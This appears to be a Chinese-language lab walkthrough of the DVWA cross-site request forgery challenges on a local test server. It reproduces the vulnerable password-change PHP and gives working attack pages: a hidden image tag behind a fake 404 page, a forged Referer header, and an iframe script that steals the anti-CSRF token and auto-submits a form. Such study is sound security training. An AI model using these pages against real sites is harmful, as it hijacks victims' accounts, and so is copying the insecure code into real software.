总结了dvwa中关于跨网站请求伪造的一些关卡
Low
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
include("../sql-connection.php");
$pass_new=$_GET['password_new']; $pass_conf=$_GET['password_conf'];
if($_GET['password_new'] == $_GET['password_conf']){ $pass_new=mysql_real_escape_string($pass_new); $pass_new=md5($pass_new); $username=$_COOKIE['Username'];
$sql="UPDATE users SET password='$pass_new' WHERE user='$username'"; $result=mysql_query($sql) or die(mysql_error()); echo "Your password has changed"; } else { echo "Password didn't match"; }
?>
|
从源代码可以看出,这是一个修改密码的程序,而$username是取决于中cookie的Username字段值,也就是说,当我们以一个用户身份登录时,服务器会将用户的信息保存在cookie中,下次访问时,就不需要再登录,浏览器直接按之前保存的身份信息登录。这就可能导致了一种CSRF(Cross-site request forgery,跨网站请求伪造)的漏洞,因为修改的密码都是以GET的形式发送给服务器,所以攻击者可以伪造一个url,诱导受害者去点击,受害者一旦点击,如果浏览器之前保存了身份认证信息,用户的密码就会被恶意修改,它与XSS的区别在于,它并没有盗取用户的cookie,而是直接利用用户的cookie,从而完成非法操作。
构造链接:
(1)最基础的链接:http://127.0.0.1/demo/CSRF/low-change.php?password_new=hack&password_conf=hack&change=change
当受害者点击了这个链接,他的密码直接就会被修改成hack
但是这种链接简单直白的告诉了稍微看得懂一点url的人…很明显的就是想篡改他的密码,也就只能骗一骗那些完全不懂的小白
需要注意的是,CSRF最关键的就是利用用户的cookie向服务器发送伪造请求,也就是说,如果浏览器未保存用户的身份信息,那受害者点击链接时就会自动进入登录界面,攻击就失效了
有保存用户信息的浏览器,比如Chrome浏览器
Chrome的检查功能可以很明显的看到保存了cookie信息
而有些浏览器未能保存cookie信息,CSRF攻击就实现不了
(2)构造短链接
利用百度短网址系统将网址缩短成一个短网址
由于是本地搭的环境,所以生成不了,实际场景下目标服务器不是域名的话是可以生成短链接的
这种方法虽然链接看起来不像是攻击链接,但是受害者依然能看到修改密码成功的提示信息
(3)构造攻击页面
为了能让用户点击攻击链接,又能不让用户察觉到自己的密码被修改了,我们可以构造一个页面,里面包含了攻击链接,让用户去点击
我们写一个test.html
1 2 3 4 5 6 7 8 9 10 11 12 13
| <!DOCTYPE html> <html> <head> <title>test</title> </head> <body>
<img src="http://127.0.0.1/demo/CSRF/low-change.php?password_new=hack&password_conf=hack&change=change" style="display:none"> <h1>404</h1> <h2>file not found.</h2>
</body> </html>
|
当受害者访问这个页面时,一个看不见的图片标签就自动访问了修改密码的页面,受害者还误以为自己访问了一个失效的url,实际上自己的密码已经被修改为了hack
Medium
代码复现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
include("../sql-connection.php");
if(isset($_GET['change'])){ if(eregi($_SERVER['SERVER_NAME'],$_SERVER['HTTP_REFERER'])){ $pass_new=$_GET['password_new']; $pass_conf=$_GET['password_conf']; $username=$_COOKIE['Username'];
if($pass_new == $pass_conf){ $pass_new=mysql_real_escape_string($pass_new); $pass_new=md5($pass_new); $sql="UPDATE users SET password='$pass_new' WHERE user='$username'"; $result=mysql_query($sql) or die(mysql_error()); echo "Your password has changed"; } else{ echo "Password didn't match"; } } else{ echo "That request didn't look correct"; } }
?>
|
与上一关的区别在于这里加了一个过滤条件,首先先查一下eregi函数的用法
eregi(string pattern,string string):在一个字符串string中搜索指定模式pattern的字符串,不分大小写,如果匹配成功则返回true,不成功则返回false
再查阅一下全局变量
1 2
| $_SERVER['SERVER_NAME']:http包头的Host参数,即要访问的主机名 $_SERVER['HTTP_REFERER']:http包头的Referer参数的值,表示来源地址
|
看完不理解也没事,我们利用burp抓包看一下就大概明白了
我们先在提交的表单中输入password为hack
然后点击提交
然后用burp抓包
Host值就是要访问的主机名,Referer值就是来源地址
这是在网页中的表单中提交数据,所以来源地址是这个网页的地址
我们最终访问主机名一定是127.0.0.1,所以127.0.0.1一定要出现在Referer值中,这起到了一定的过滤作用,如果受害者访问我们伪造的攻击网站,攻击网站向服务器发出伪造请求,会被服务器检测来源地址,地址中不带127.0.0.1的话,就会被过滤掉,但是这种过滤很好解决,即使不理解上面两个参数的意思,我们只要用burp修改请求头的Host和Referer参数,让两个参数都带有一样的内容就ok了
我们在浏览器中访问http://127.0.0.1/demo/CSRF/medium-change.php?password_new=hack&password_conf=hack&change=change
然后用burp抓包
我们看到请求头中只有Host参数,没有Referer参数,这是因为我们是在空白的页面访问的,所以没有来源地址,这时候点击go
发现请求被过滤了
我们在请求头中添加Referer参数,随便输入一个带127.0.0.1的值
添加Referer参数后修改密码成功
High
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| <?php
if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new );
// Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; }
mysql_close(); }
// Generate Anti-CSRF token generateSessionToken();
?>
|
这关加入了token认证机制,能非常有效的预防CSRF攻击,它的防御过程如下:
(1)每当用户登录后会随机产生一段字符串,并且存储在Session或者Cookie中
(2)在敏感操作中加入隐藏标签,value即为Session中保存的字符串,如本关中的表单加入了隐藏标签,提交的内容就是Session中保存的字符串
(3)用户提交请求后,服务器将请求提交的Token字符串与Session中的字符串进行比较,如果一致,则认为是正常请求,否则可能是CSRF攻击
(4)更新Token值
所以,要绕过Token认证,就必要想办法获得存储在Session或者Cookie当中的Token值
破解token认证思路是在攻击页面上利用隐藏的iframe框架访问修改密码的页面,然后用javascript代码获取页面token值再赋值给攻击页面表单,再模拟提交隐藏表单
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <!DOCTYPE html> <html> <head> <title>high-attack</title> </head>
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById('hack').contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById('transfer').submit(); } </script>
<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/" id='hack' border='0' style='display:none'> </iframe>
<body onload="attack()">
<form id="transfer" method='get' action="http://127.0.0.1/dvwa/vulnerabilities/csrf/"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form>
</body> </html>
|
然后在浏览器输入攻击页面url,跳转到修改密码的页面
可以看到成功获取token值并修改密码成功